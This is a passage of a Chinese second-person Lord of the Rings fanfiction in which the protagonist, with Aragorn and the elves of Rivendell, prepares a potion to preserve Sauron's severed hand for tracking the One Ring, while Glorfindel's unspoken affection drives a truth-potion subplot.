那几只飞鸽是从密林那里飞过来的,当时正和阿拉贡在森林里散步的莱戈拉斯还有陶瑞尔一眼就发现了天空中掠过的信鸽,陶瑞尔说:“那是陛下写了信过来。” 阿拉贡一下子就明白了那封信是密林的精灵王寄过来的,站在阿拉贡身边的莱戈拉斯表情复杂,一方面他能够理解父亲瑟兰迪尔担心他的心情,但是另一方面他还不打算那么快回去,毕竟这次回去以后他什么时候再能出来就说不准了,而且他看你的意思似乎还打算趁热打铁收复失地,那他身为你的朋友自然是要助你一臂之力的,他可不能在这个关键时刻选择逃避。 因此即便还没有看过那封信的内容,莱戈拉斯却很肯定自己在短期内是不会回密林的,而对于精灵来说的短期基本上都是十年起步。 瑟兰迪尔写了不止一封信,有一封被送到幽谷主人埃尔隆德手上,对方一看是来自密林的信件,顿时严肃地拆开信封,原本还在和父亲聊天的阿尔温看到他的神色转变就知道这封信肯定不简单,她说:“这是谁写来的?” 埃尔隆德回答道:“是密林的精灵王瑟兰迪尔。” 这也难怪她的父亲会是这么个表情了,毕竟那位精灵王的脾气是出了名的不好惹,而且这么突然写信过来肯定是有什么急事,所以阿尔温接下来都没有打扰父亲看信,她一直保持安静直到埃尔隆德叹息一声,她才问:“他都在信里写了什么?” 其实没什么,就是询问幽谷有没有好好招待你,但因为瑟兰迪尔本身的性格外加措辞的问题,导致这封信更像是在质问埃尔隆德,但凡让他知道埃尔隆德没有好好招待你那他肯定会他追究责任的。 别看瑟兰迪尔平常对待 你的态度算不上多热络,但密林的精灵就是这么护短,因为无论怎么说你都在密林待了十多年,他也将你视为密林的一份子,不可能就因为你离开密林以后就对你不闻不问的。 “他在询问我亚玟在这里过得是否开心。”埃尔隆德将信件里的关键词提取出来然后整合,再使用更加柔和的措辞总结道:“他其实很关心亚玟,而且也很担心莱戈拉斯和陶瑞尔。” 还好瑟兰迪尔不在场,否则他听到埃尔隆德那么说,肯定会因为被戳穿内心的想法而冷嘲热讽一番。 “如果只是这样的内容您的表情不应该是这样的。”阿尔温很了解自己的父亲,他刚才眉头紧皱显然是有什么事情。 “嗯……你也应该知道那位精灵王的脾气,所以他通篇的语气不算太友善。”埃尔隆德委婉地说道。 原来是这样啊,阿尔温又说:“那他确实很关心亚玟。”一方面是因为瑟兰迪尔本身就很善良,另外一方面也是因为你自身十分优秀所以能够赢得瑟兰迪尔的青睐,这两者缺一不可。 埃尔隆德心不在焉地应了一声,现在让他头疼的事情就是该如何写回信了,阿尔温见状,就说:“不如让我来写回信吧?” “你来写回信?”埃尔隆德下意识地想要拒绝,“那还是算了吧。” 要是被瑟兰迪尔发现回信的字迹不一样,估计他会觉得自己被怠慢了,没准又会写来许多封信,所以埃尔隆德委婉地拒绝了阿尔温的提议。 至于你听阿拉贡说起从密林送来的信件,你就好奇地问:“是瑟兰迪尔陛下催促莱戈拉斯王子殿下该回密林了吗?” “我也不清楚。”阿拉贡耸耸肩,因为他只看见莱戈拉斯从信鸽腿上面取下这封信,关于信件的内容他一概不知,但是根据他的推测,应该和你猜的差不多,毕竟莱戈拉斯是密林精灵王唯一的孩子,按照他的性格很难允许莱戈拉斯去冒险,可偏偏莱戈拉斯又跟着你和陶瑞尔离开了,而且现在身处幽谷,他也不可能直接前往幽谷把自己的儿子带回去。 吉尔蕾恩见到你和阿拉贡聊得有来有往的,她就下意识地退出你们的对话,转而站在一旁安静地看着你们,脸上挂着温和的笑容,长久没有听见母亲的声音,阿拉贡奇怪地看了她一眼,发现可能是自己的到来打断了你们的对话,他正要道歉,但吉尔蕾恩却先一步开口:“看到你们这样相处,我感觉时间就好像回到了很多年前,你们小时候也是这样凑在一块聊天。” 什么叫做凑在一块聊天,那分明就是你被阿拉贡拦住去路,无奈之下和他聊两句而已,但是在母亲吉尔蕾恩看来这就是你们兄妹友好相处的有力证据,算了,你都懒得纠正了,那就让她这么误会下去吧。 阿拉贡说:“那个时候的亚玟每天都喜欢泡在藏书室里,我还得想尽千方百计地邀请你一同玩耍呢。” 他也知道自己用尽了千方百计啊……你在心里幽幽地说。 聊起小时候的事情阿拉贡整个人都放松下来了,但你可就没他那么放松了,因为按照你原来的计划你现在应该已经到了埃洛希尔那边查看他的魔药制作进度,而不是在这里浪费时间聊天,为了避免浪费更多的时间你当即打断这对话,然后说:“我接下来还有事情,恐怕得要失陪了。” 你不信阿拉贡听不懂弦外之音,他可能只是不想听懂而已,他宁愿装作一副没听懂的模样也要跟在你身边,他说:“你要去做什么?正好我也有空,我和你一起吧。” 好粘人的家伙,你抿抿唇,“我要去埃洛希尔那里。” “嗯,正好我也有一段时间没见到埃洛希尔了。” 你对他嘴里所说的“有一段时间”持怀疑态度,因为他和幽谷双生子的关系甚密,基本上每天都会见面,而且不只是见面,还会一同在幽谷附近游猎,所以你觉得阿拉贡就是在睁着眼睛说瞎话。 但看他这幅样子,想要甩开他几乎是不可能的,好在你只是去查看魔药制作进度而已,就算带上他应该也没什么问题,于是你考虑了几秒,然后说:“那就跟我走吧。” 和吉尔蕾恩告别后你们并肩同行,走出有一段路,确认吉尔蕾恩不会听到你们的对话声,这时候阿拉贡才问:“你刚才是不是在和母亲争论什么?” 他这是怎么看出来的?难道是你表现得很明显吗?也不至于吧,你不会犯这种简单的错啊。 “你为什么会这么说呢?” 长廊的尽头是一段带有坡度的石阶,你走在前头,阿拉贡紧随其后,他的声音从后面飘过来,“因为她看上去有些难过,而且还不是普通的哀伤,就好像……是在感叹什么。” 阿拉贡的总结非常到位,是这样的,你们的母亲吉尔蕾恩在感叹你终究无法按照她的想法长大成人,但她的优点在于当她意识到这一点后并没有指责你,也没有认为你的心灵被黑暗侵蚀了,她只是表现得很平静,是平静中带着哀伤的神色。 “因为她不赞同我上战场,她认为一旦你不幸死去,那么我将承担起绵延血脉的责任。” 听你这么说,阿拉贡不赞同地皱起眉,但因为你走在他前头所以没能看清他的表情,只能听见他略带不满的声音,他说:“这份责任是她强加给你的。” 有时候阿拉贡看问题非常透彻,一眼就能看到问题的本质,就比如说现在也是,他一下子就看穿了这是母亲吉尔蕾恩将自己的想法强加在你身上,甚至都没有征询过你的意志。 “她不该那么说的。”说着说着,阿拉贡就有些生气了,他从不觉得你是需要被保护的那一方,相反地,当儿时的他见识过你的才能后就认定了你和他将会是未来并肩作战的伙伴。 “你真的是那么想的吗?”你问道,忽然站定脚步,好在阿拉贡及时反应过来,否则就要和你撞到一块了,他也立马站定脚步,与你面面相觑,他说:“当然,我们本来就应该在战场上将后背交给对方。” 好吧,听到他的回答你对他的态度也变得缓和了一些,毕竟这种话在上一个副本里你几乎不可能从弟弟格林嘴里听到,他只会告诉你,你是生来的弱者需要被保护的珍宝,至于别的,他从来没有考虑过那么多。 “那我们还真是心有灵犀。”说着,你笑了一下,阿拉贡也跟着笑起来,他又问:“不过你这次去找埃洛希尔又是为什么呢?” “我前两天麻烦他为我制作了一些东西,现在就是去验收成果的时候了。”你说得很含糊不清,阿拉贡听完这话感觉好像什么信息都没得到,他依旧一头雾水,“但我还是有些不明白。” “等你到那里就能明白了。” 你们沿着这条带有坡度的小径往下走,穿过一片自然长成的花园这才抵达埃洛希尔的工坊,他正好这时候在休息,看见你们来了就热情地对着你们招招手,“你们怎么来了?” 你来这里的原因不是很显而易见的吗?你步履轻快地走到埃洛希尔身边,“我是来看看魔药的制作进度的。” “啊……原来是来看这个的啊,嗯……”埃洛希尔抿了抿唇,“那你要不然等一会?” “我可以直接进去看看吗?” “也可以。” 在你们谈话间工坊里又走出一道身影,你仔细看了一眼,原来是格洛芬德尔,而且看他的样子应该是在帮忙制作魔药,瞧见你和阿拉贡的到来他说:“你们要进来坐坐吗?哦对了,你要的魔药我就快要做好了。” 他的后半句话时是对你说的,你轻轻地点了点头,然后又瞥了埃洛希尔一眼,后者不好意思地笑了下,他起初也不知道这魔药制作起来那么复杂繁琐,而且还失败了好几次,所以他这是无奈之下才向格洛芬德尔求助的,毕竟格洛芬德尔那么在意你 ,肯定会帮助你的嘛,因此他这叫合理利用援助,只是没想到你会中途突然找过来,让他不免有些尴尬。 “魔药?什么魔药?”到现在为止阿拉贡依旧是一脸茫然,他都不知道你原来还麻烦了格洛芬德尔帮忙制作魔药,不过又是什么魔药呢?而且在他的印象里魔药一般都是用来治疗疾病的,难道是你生了病吗?想着,阿拉贡又将你从头到脚仔仔细细地看了一遍,但你现在的面色红润,不像是生病的模样。 阿拉贡有些担心地问:“你生病了吗?” 你疑惑地挑起一边的眉毛,“什么?我没有生病。” “那你为什么——”需要魔药呢? 格洛芬德尔帮忙解释道:“那不是用来治病的魔药,而是用来保存东西防腐的魔药。” 因为格洛芬德尔的话阿拉贡疑惑就变成了你想要保存什么东西呢?他的疑惑在走进工坊里看见台面上摆放的那只断手时顿时了然,他还记得这是你切下的索伦的左手,当初他还以为那是你的战利品,但现在看来没有那么简单,他转过头去看你,“只不过……这个保存下来有什么用吗?”你该不会真的要当成纪念品吧? 如果是当成纪念品的话,虽然有些奇怪,但他也能接受,毕竟你从小的性格就异于常人,现在只是多出一件特别的收藏品而已,没什么好大惊小怪的。 但你却说:“我要用它来寻找至尊魔戒。” 嗯?等一下,这又是怎么和寻找至尊魔戒联系到一块去的呢?阿拉贡陷入迷惑,他缓慢地眨了一下眼睛,尽管他还没把问题问出口,但你已经把他的疑惑看在眼里,你说:“既然至尊魔戒是索伦亲手打造的,那么我认为那枚戒指和索伦的身体之间肯定存在着某种特别的联系,或许利用这种关系能够找到至尊魔戒。当然,这还只是我的猜测,具体实践起来如何我也不能确定。” 阿拉贡花了一点时间来理解你说的话,好像听起来确实有点道理,因为既然索伦是魔戒的创造者,而且他还在至尊魔戒中倾注了自己的绝大部分力量,那么照理来说你的方法应该是行得通的,当然这也只是从理论的角度来看,正如你所说的,在具体实践过程中如何那就不好说了。 格洛芬德尔也说:“我觉得可以尝试一下,如果能够在索伦之前找到至尊魔戒,那么我们就能先一步销毁魔戒,这样一来索伦也会随之消失。”他说的还是最顺利的情况,毕竟在过程中还会有无数困难在等待着你们。 “所以你还要去寻找至尊魔戒?”阿拉贡立刻反应过来,他看向你,那眼神像是在无声地说你怎么不早点告诉他这个消息,你神色平淡地耸耸肩,然后说:“我忘了我有没有告诉过你。” 什么叫做忘了,你的记性可没有那么差,这摆明了就是没打算告诉他,现在也只是因为其他精灵说漏嘴了你才找补的,他叹了一口气,你总是喜欢对他隐瞒事情,小时候是这样,长大了还是这样,而他却对你毫无保留,关于他的任何事情只要你想知道他都会欣然告诉你,这就是你们之间的差别,放在以前阿拉贡还会有些难过,但他现在已经变得成熟了许多,他知道这是你的性格使然,因此也能接受。 先是要去收复领土,然后再是要找到至尊魔戒,你要做的事情可真不少,而且还都是大事情,阿拉贡很自然地表示自己也要跟着你一块去寻找至尊魔戒,你合理怀疑你就算是天涯海角他也要跟在你身边,就跟一条小尾巴一样,你和他说起场面话,其实就是委婉的推脱,你说:“现在我也不能确定什么时候出发,等到时候我再和你说吧?” 阿拉贡半信半疑地反问:“你是认真的吗?” “毫无疑问,我非常认真。”你说起谎话来眼睛都不带眨一下的,而且还面不改色,在场的人类和精灵里也就只有了解你的格洛芬德尔知道你现在是在说谎,但他没有戳穿你的谎言,因为你那么做也是在保护阿拉贡。 没有意识到自己被欺骗的阿拉贡表情轻松,他在工坊里转悠一圈,他以前也来过工坊,而且还是经常来,因为小时候一下课埃尔拉丹和埃洛希尔这对兄弟就会拉着他去工坊教他各种打铁的技巧,他们也不是想要当他的老师,就只是单纯地想要和他分享顺便再加上一点小炫耀,毕竟阿拉贡崇拜的眼神也会让他们很受用。 所以总的来说阿拉贡比你更加熟悉工坊,但是一阵子没来这里,埃洛希尔将工坊又改造了一番,他发现有些布置发生了变动。 “话又说回来了,能让我看看那瓶魔药吗?”你又回归正题,你没忘记自己来这里就是为了看看魔药的效果,格洛芬德尔转身从旁边拿出刚刚制作好的魔药,你不知道他原来还会魔药学,你随口说了一句,“我都不知道你还会制作魔药。” 没成想格洛芬德尔却说:“可能是因为你的目光都在别的精灵身上吧。” 第89章 第89章“请允许我——”…… 气氛沉默了片刻,你没有看他,而是专心观察手里的那瓶魔药,但你身边的一个精灵还有一个人类就没有你那么气定神闲了,埃洛希尔眨巴眨巴眼睛,他艰难地克制住自己想要上扬的嘴角,唉,在关键时刻憋笑可真难啊,他费了一番功夫才忍住笑,反观阿拉贡就笑不出来了,他对格洛芬德尔说的话感到奇怪。 或者说现在的格洛芬德尔让他感觉到了陌生,毕竟在他的印象里格洛芬德尔向来都是从容得体的,从不会像刚才那样说出带着几分幽怨的话语。 没错,那语气分明就是幽怨,阿拉贡脑袋里突然冒出这个形容词然后发现实在是太贴切了,无论是说话的语气还是神态都能用这个形容词来概括。 可看你没有任何反应,阿拉贡便也装作没听见格洛芬德尔刚才的那一番话,只是气氛无论如何都回不到一开始那么轻松的状态了。 格洛芬德尔给你的那瓶魔药呈淡绿色,质地轻盈,打开瓶盖你扇闻那魔药的气味,没有你想象中的那么刺鼻,反而还带着草木特有香味,感觉比起魔药更像是香水,而且还是所谓的木质香水。 魔药的使用方法就是将其涂抹在断手上,从而达到防腐的效果,因为在你们到来之前格洛芬德尔就已经在那只断手上涂抹了一层魔药,所以你暂时就不用浪费手头的魔药了。 盖上瓶盖,你将魔药收起来,不过你知道如果每次都让其他精灵帮你制作魔药总归有些麻烦,所以倒不如向对方学习魔药的制作方法,你理所当然地说:“您能教教我如何制作魔药吗?” 格洛芬德尔本就在注视着你,见你看过来,他也没有移开自己的视线,而是与你四目相对,你应该知道的,你提出的任何请求他都没有拒绝过,而现在这个小小的请求他又怎么会拒绝你呢? 于是他欣然答应,“当然可以,这也是我的荣幸。” 阿拉贡看了看 满脸笑容的格洛芬德尔又看了看神色平静如水的你,他想要说些什么,但真的要开口的时候又顿时语塞。 在他和你离开埃洛希尔的工坊后他迫不及待地问你,“他为什么——我是说,呃,他对你的态度好微妙。”阿拉贡一时之间找不到合适的词语来形容那种感觉,但格洛芬德尔看向你的眼神里分明是克制着的喜爱。 等一下,难道说他对你一见钟情了吗?啊、可是这种事情……这种事情,他实在是难以想象,尤其是就发生在他身边。 可是精灵和人类的感情又如何能有一个好结果呢?阿拉贡没等来你的回答,最先来的是他那焦急不安的心情,他不由地拉住你的胳膊,“你难道还没有察觉到吗?” 你怎么可能还没有察觉到,倒不如说你从一开始就感觉到了,在他那温和明朗的外表下盘踞着阴郁的爱意。 “我知道,所以你认为我应该怎么做呢?直接和他划清界限吗?可是——我们也受到了他很多的关照不是吗?”你说。 阿拉贡连连摇头,他当然不是这个意思,他只是想知道你对格洛芬德尔的看法而已,他说:“不……你误会我的意思了。” 你抽回自己的胳膊,“我能明白你的意思,你是在关心我。”你的表情变得柔和了一些,“我很感谢你的关心。” “这有什么好感谢的?我们之间的关系本来就不需要说谢谢。”阿拉贡还觉得你说谢谢显得很见外呢,他也意识到自己刚才的反应似乎有些过度了,他就又补充道:“我刚才也不该那么说的,因为你肯定有自己的考量,就算我们是双生子我也无权干涉你的决定。” 只是一想到如果你和精灵成为伴侣,那就代表你与爱人注定是不能白头偕老的。 见他低垂眼帘,你就又换了个话题,“我下午还有课,你要和我一起去上课吗?” 阿拉贡从小就是在埃尔隆德的教导下长大的,他的童年可以说是被这位领主大人的课程占据一大半,他陷入了纠结,因为他一方面想要和你待在一块,但是另外一方面再去听课估计还会被埃尔隆德抽问,如果回答不过关说不定还得再重修,虽然阿拉贡平常看起来十分成熟稳重,但本质上还是个十几岁的少年,养父埃尔隆德布置的作业一向都让他很头疼。 “你不愿意去吗?”你问道。 “啊……也不是,我刚才是在考虑。” “那你现在考虑得怎么样了?” 阿拉贡想了想,最后还是决定和你一块去上课,但在上课前他忘了询问你这节课的老师是谁,因此在见到坐在办公桌后的吉尔-加拉德时他不免愣了一下,“这节不是埃尔隆德大人的课吗?”他小声地问你,但就这音量,而且还是在书房内,对面的吉尔-加拉德听得一清二楚,因此他笑着替你回答:“可能是你记错了,这节是我的课。” 说起吉尔-加拉德,这位精灵对你的态度也让阿拉贡感到疑惑,阿拉贡算是明白了,你格外地招精灵喜欢,不仅仅是幽谷的精灵还有密林的精灵也是,他之前就曾经从陶瑞尔那里听过她对你的评价,也不能说是非常夸张,但肯定是带着几分夸张的成分的,甚至于就连莱戈拉斯也对你的评价很高,由此可见你是多么擅长和精灵打交道。 言归正传,吉尔-加拉德对你的关心与格洛芬德尔相比,那真是不相上下,而且他还主动申请成为你的老师,而且还是在非亲非故的前提下那么做的。 阿拉贡看了一眼吉尔-加拉德,接着又说:“我还以为那是埃尔隆德大人的课。” “埃尔隆德现在应该正在陪他的女儿在花园散步。”闲暇之余的埃尔隆德也格外珍惜和女儿阿尔温相处的时光,尤其是在他的孩子长大后都逐渐和父亲没那么亲近的情况下。 见状,阿拉贡也没有再追问什么,他低头仔细阅读吉尔-加拉德分发下来的提纲,因为他来得突然,所以吉尔-加拉德并没有准备他的那一份,因此阿拉贡只能和你共用一份,这不由地让阿拉贡想起小时候你们上课他忘记带书你也会把摊开的书往他这边推。 吉尔-加拉德教的内容和埃尔隆德曾经教授的东西截然不同,完全不是一个类别的知识,就比如说在今天这节课上的主要内容就是中土大陆上各种稀奇古怪的生物,有的动物阿拉贡甚至都没有听过名字。 因此他到后面就又在好奇心的驱使下踊跃提问,吉尔-加拉德也欣然解答,课堂的氛围很好,你发现带着阿拉贡一起上课也不错,毕竟如果只有你一个人的话,那老师的注意力都会集中在你身上,尤其是当上课的老师是吉尔-加拉德的时候。 至少现在阿拉贡还能分散对方的一部分注意力,这对你来说也没坏处,甚至是有好处的。 阿拉贡对这门课出乎意料地感兴趣,以至于在下课以后他还在问问题,你则是在旁边收拾纸和笔,忽略了吉尔-加拉德向你投来的求助的目光,唉,毕竟你也不能阻止他人追求知识吧? 而在你整理东西的时候,远处的工坊里埃洛希尔也在整理制作魔药留下的残局,他和格洛芬德尔刚才还制作了另外一副魔药,根据格洛芬德尔所说,那是可以让人吐露真言的魔药,埃洛希尔本来还有些不相信,他的胆子很大,直接把魔药用在自己身上,动作之快就连格洛芬德尔都来不及阻止他,只能眼睁睁地看着他喝下一口魔药。 他砸吧砸吧嘴,这魔药的味道还不错,就跟果汁一样,他说:“味道还不错呀。” 格洛芬德尔无奈地揉了揉自己的太阳穴,“你在不了解这魔药的副作用下就直接饮用……”实在是太冲动了。 被他这么一说埃洛希尔才想起来还有副作用这一说,他略带紧张地问道:“会有什么副作用呢?” “不知道,副作用是因人而异的。” 埃洛希尔睁大眼睛,“但我是精灵啊。” “所以同样也是因精灵而异的。” 不要临时改词语啊!埃洛希尔就是太信任格洛芬德尔了,谁让他平常表现得那么沉稳可靠呢?埃洛希尔想了想,就又放下心来,毕竟他的父亲埃尔隆德医术了得,大不了就到时候去求助自己的父亲吧,这也不是什么丢脸的事情。 他的担心没有持续几分钟,就又转变为好奇,他激动地说:“那你现在问我什么我都会说实话吗?” “是的,那接下来我会问你几个问题。”格洛芬德尔顿了顿,过了几秒才说,“刚才阿拉贡和亚玟过来的时候你都在想什么呢?” “啊呀,我在想阿拉贡可真粘人,总是粘在他妹妹身边,唉,真是羡慕他们兄妹的关系,我的妹妹阿尔温就不会那样。”埃洛希尔不假思索地说出心里的话,是真的没有经过任何思考,在他反应过来之前嘴巴就自己动起来说出这一番话,话音落下,他都感到惊讶,这魔药实在是太神奇了吧。 而格洛芬德尔的问题还没有结束,他又问:“那你刚才为什么好像一副看好戏的模样呢?” “那还不是因为你好像对亚玟有好感,但是对方压根就不搭理你嘛。”埃洛希尔急急忙忙地想要捂住自己的嘴巴,但是来不及了,话都已经说出了口,他的表情顿时变得十分窘迫,对着格洛芬德尔尴尬地笑了笑,但是这笑容也无法缓解无比尴尬的气氛,于是埃洛希尔差点就要当场逃跑。 他都没勇气去看格洛芬德尔的脸,生怕在上面看到愤怒的神色,但是他偷瞄一眼,发现对方居然还是笑盈盈的。 啊这,听完这话还能保持笑容,反而变得更诡异了啊! 埃洛希尔抿抿唇,“您在生气吗?” “你说呢?” 在这一瞬间埃洛希尔无比希望埃尔拉丹也在场,至少这样能分散一些火力,只可惜他的哥哥现在还在陪父亲还有妹妹散步,哪里知道他的兄弟正身陷进退两难的境地。 “我也不知道啊,刚才那句话我就不应该说的。”不,他从一开始就不该图好奇喝下那魔药的。 好在格洛芬德尔也没有真的生气,他只是在懊恼原来自己的伪装早就被周围其他精灵看得清清楚楚了吗…… “我表现得真的很明显吗?”格洛芬德尔陷入沉思,他都想找来好友埃克塞理安好好分析一下现在的情况了。 埃洛希尔在魔药的作用下秒答:“超级明显。” 唉,他这嘴!为了避免自己再说出什么尖锐的话语来,埃洛希尔只能捂住自己的嘴巴。 最后格洛芬德尔从工坊离开,埃洛希尔也得以松了一口气,这件事情很快就又传到埃尔拉丹耳朵里,大约是在晚餐时分告诉埃尔拉丹的,后者听完以后哈哈大笑,没有一丝一毫的同情,全都是嘲笑,埃洛希尔板着一张脸,“无论怎么说你都是我的兄弟,而且我们还是双生子呢,你对我就连一点同情都没有吗?” 埃尔拉丹笑得身体都在颤抖,过了好一会才缓过来,眼睛里都冒出了泪花,他抬手擦去眼尾的泪水,“埃洛希尔,有时候你的勇气大得我都无法想象。” 埃洛希尔斜睨他一眼,“你这是在夸奖我吗?还是嘲讽呢?” 埃尔拉丹学着格洛芬德尔的样子和语调问道:“你说呢?” 这下子可算是惹恼了埃洛希尔,两个精灵乱作一团,埃洛希尔嚷嚷着,“看来我们连兄弟都没得做了!” 埃尔拉丹还在笑,“可是你这件事确实很好笑,你不信的话说给阿尔温听听吧,她肯定也会笑的。” “不,我才不会告 诉她呢。“再怎么说他也是要点面子的,而且在妹妹阿尔温面前他可是很要面子的,才不会把这种事情告诉她的呢。 埃尔拉丹整理一下埃洛希尔刚才说的,“所以说,你现在有什么想法?在得罪格洛芬德尔之后,你又有什么打算呢?” 他还能有什么打算无非就是该怎么生活就怎么生活咯,这件事情就只是一件小事而已,言归正传,他的表情变得严肃起来,他问埃尔拉丹:“可你难道不觉得格洛芬德尔和吉尔-加拉德之间的气氛很古怪吗?” 什么古怪不古怪的,埃尔拉丹可没有弟弟埃洛希尔这么关注这些事情,而且再说了,他这些天还在陪妹妹阿尔温,毕竟她前不久才被索伦绑架,他很担心她会因此留下什么阴影,他单手叉腰,“你就不能关心一下你的妹妹吗?” 这话说得他好像没有关心一样,可实际上埃洛希尔早就和阿尔温谈过心了,对方非但没因此留下阴影,反倒是你在她心里留下了深刻印象,因此他和阿尔温的对话往往会牵扯到你,阿尔温总会有意无意地询问他关于你的事情,后面埃洛希尔就对她说干脆直接去找你聊天吧,他说这话带着几分赌气的意思,但没成想阿尔温还真的那么做了,所以最近几天他都没见到自己的妹妹。 “我当然关心过了啊,但是她更在意亚玟,那我又有什么办法呢?”说着,埃洛希尔无奈地耸耸肩。 虽然时间已经到了晚餐的时候,但他们没急着去餐厅,反正他们的父亲都已经习惯了他们不按时出席晚宴,他们晚到一会问题也不大。 “嗯……不过你说的事情,我也看出来了。” 两个精灵凑在一块经过一番讨论后得出的结论是:这种事情可以围观但绝对不能插手。 此时此刻正在宴会厅内的一众精灵还有你和阿拉贡正在享用晚餐,阿拉贡坐在你身边,你的另外一边坐着的是阿尔温,她正向你介绍晚宴上独特的点心,你之前未曾见过,她说:“那是洛丝罗瑞恩特有的点心,制作方法和兰巴斯很像,但口感有所不同,而且也没有兰巴斯那么强的饱腹感。” 兰巴斯这种食物往往是有精灵中地位高的女精灵亲手制作的,而且被赠与兰巴斯也象征着精灵的祝福,你在上一个副本的时候就曾经带着阿瑞蒂尔制作的兰巴斯上战场,但那都是很久以前的事情了,现在听阿尔温那么说你的思绪也不由地飘回到从前。 这点心的造型小巧精致,上面还点缀着几片花瓣,用叉子从中间切开,里面包裹着的玫红色内馅散发着花蜜的香甜味道。 你尝了一口,笑着对阿尔温说:“很美味。” “你喜欢吗?那真是太好了。”阿尔温笑盈盈地说,你从她身上嗅到了相同的花蜜香味,大概猜到了这道点心就是阿尔温亲手制作的,虽然你也不太明白为什么她对你的好感度莫名的那么高,你似乎也没有为她做什么吧? “这制作起来一定很繁琐吧?” “也不算太麻烦。”阿尔温又将点心逐一分给在场的其他精灵还有人类,她垂下眼帘,“您又是怎么猜到这是我做的?” ……这不是答案都已经明白在你面前了吗?如果你这都看不出来的话,就有些说不过去了吧? 你笑了一下,“这并不难猜。” 坐在你对面的埃克塞理安看热闹不嫌事大地说:“看起来阿尔温公主十分欣赏亚玟你呀。” 几千年的时间过去了,埃克塞理安的性格都没发生什么变化,还是一如既往地希望说笑,你对着他礼貌地点了点头,“您说笑了。” 坐在埃克塞理安身边的格洛芬德尔若有所思,等到晚餐结束以后他守在餐厅出口等待你出来,你刚走到出口就听见他呼唤你的名字,你略带不解地问道:“您有什么事吗?” “你今天不是想要学习防腐魔药的制作方法吗?正好今晚我有空……” 啊,你差点忘了这件事,但也不能怪你,毕竟你现在手头堆积起来的事情很多,而且每一件都没那么容易解决,所以一些不那么重要的小事就会被你先放在一边,其中就包括了学习制作魔药,你说:“今晚?” 格洛芬德尔衣袖下的手收拢,那瓶装着吐露真言魔药的水晶瓶就被他握在手心。 “是的,你还有别的安排吗?”莫名地,他的心情变得忐忑不安起来,他的目光巡视着你的脸庞,不放过任何细微的表情变化。 在你沉默的那几秒里,他的不安也飞速倍增,最后他的耳边传来你的声音,你说:“暂时没有。” “那太好了。”格洛芬德尔脱口而出,意识到自己失态了,又用笑容掩饰尴尬。 他那反常的行为让你觉得更加奇怪了,但是既然他主动提出要教你制作魔药,他的好意你就收下了,你们踩着月光再次回到那工坊,只不过这一次工坊里除了你和格洛芬德尔再无其他的身影,你点亮工坊内的灯火驱散黑暗。 工作台上还摆放着各种制作魔药的工具,那些工具一应俱全,先是从原料开始教你如何挑选,再是如何处理原材料,有的草药晒干后变得坚硬无比,用小刀切起来很费劲。 “你可以改变下刀的角度,稍微倾斜一些,这样就能顺着植物茎秆的纹路来切割,就不会那么费力了。”说着,他走到你身边,你能感觉到他的身影笼罩着你,他的目光注视着你,但这不会给你带来任何咄咄逼人的侵略感,因为他的语调里从始至终都带着几分恳请,现在也是,他问道:“请允许我——” 你眼角的余光瞥见他搭在工作台边缘的手,他的双手皮肤白皙而美丽,更像是一件艺术品,而此刻他的手指微微屈起,透露出若有若无的紧张。 “可以,我允许你。”这一次你难得没有使用敬称,光是这一点就让格洛芬德尔感到欣喜,他试探性地伸出手,掌心覆着你的手背,指腹压着你的指甲盖。 奇怪,明明你们之间的距离很近,但你却听不见他的呼吸声。 啊……你知道了,是他紧张得屏住了呼吸。 第90章 第90章“应该悲伤的不是你吗?…… 不同于他的紧张,你显得格外神色自若,你的目光集中在手中的小刀上,顺着植物茎秆的纹路切割,确实比你一开始直接落刀要省力不少,而且切出来的横截面也很规整,重复几次后你差不多就掌握了窍门,便对格洛芬德尔说:“可以了,我想接下来我能够自己完成药材的切割了。” 闻言,格洛芬德尔停顿几秒才收回手,从他微妙的停顿中能够感受到他那不舍的情绪,你装作什么都没有发觉,低头认真处理材料。 过了一会,等材料都处理完了,格洛芬德尔便又拿出坩埚,将坩埚架在小小的火堆上,你按照他先前所说的,将处理好的原材料依次放入坩埚内,制作魔药的火候很重要,因此你一直守在坩埚旁边查看药水色泽的变化,哪怕出现一丝一毫极其细微的变化都会被你收入眼底。 “现在是不是应该放入蝙蝠的左边翅膀尖了?”你问道,你也不是很确定,因为格洛芬德尔刚才说的是等到药水的颜色转变为幽蓝色的时候就放入蝙蝠翅膀,但是对于幽蓝色的定义你还得打一个问号。 而且格洛芬德尔只是偶尔看一眼坩埚,大部分时间都在注视着你,这让你不由地怀疑他是否在认真上课,你皱起眉,“您是真心实意想要教授我如何制作魔药的吗?” 格洛芬德尔先回答你前一个问题,他说:“现在可以加入蝙蝠翅膀了。”接着又问:“你为什么会这么说?” 碾成碎片的蝙蝠翅膀被你丢入坩埚内,很快就沉到底部,你用长柄勺子搅拌还处于半成品状态的魔药,就连和他说话的时候你都没有抬起头,“因为您刚才基本上都在看我 ,我想一个合格的老师应该会更加注重学生的进度,而不是——学生的神色。” “但毫无疑问你是一位优秀的学生,不需要我时时刻刻都盯着你的进度。”格洛芬德尔不吝于对你的夸奖,但这不是你想要的东西。 算了,和他也说不清楚,你单方面结束这个话题,后来你在他的指导下顺利完成魔药的制作,你也基本上把这类魔药的制作流程记在心里,当然待会等你回到自己的房间肯定还会记下来的,因为你总觉得有些细节还可以改进一番。 将魔药装瓶,因为魔药制作成功,这让你的心情肉眼可见地变得愉快起来,格洛芬德尔也察觉到你的心情变化,他顺势说:“辛苦了,现在你可以休息一下了。” 说着,他又在旁边为你们倒了两杯的果汁,背对着你的精灵神色犹豫,最终还是打开装着魔药的水晶瓶,往里面滴了两滴可以吐露真言的魔药,那几滴魔药瞬间就变成和果汁一样的颜色混入其中。 他端起两个水晶杯转过身,步履缓慢地走到你面前,此时的你举起水晶瓶对着工坊内的灯火查看里面是否存在沉淀。 等你放下水晶瓶,格洛芬德尔就将装着果汁的杯子递过来,他浅笑着说:“我想你应该口渴了。” 其实你并没有多口渴,而且精灵的工坊在你看来就类似于实验室,你的常识告诉你不应该在实验室吃东西的,因此你有些奇怪地说:“你口渴了?” “嗯,稍微有点。”格洛芬德尔的神色变得有些不自然,在他的注视下你拿走属于你的那杯果汁,只需要你喝下一口,他思考了很久的问题就都能得到解答,可是真当你即将喝下果汁的时候他却突然握住你的手腕,“不……还是算了吧。” 他到底在干什么?你十分不解,不明白他为什么突然变得那么反复无常,你说:“什么算了?” 格洛芬德尔又从你手里拿走那个杯子,因为动作迅疾甚至于装在里面的果汁还溅出来了一些,恰好落在地上,空气中除了刚才制造的魔药气味现在又混杂着一股果汁的香甜气息,你缓慢地眨了一下眼睛,“我不明白您的意思。” 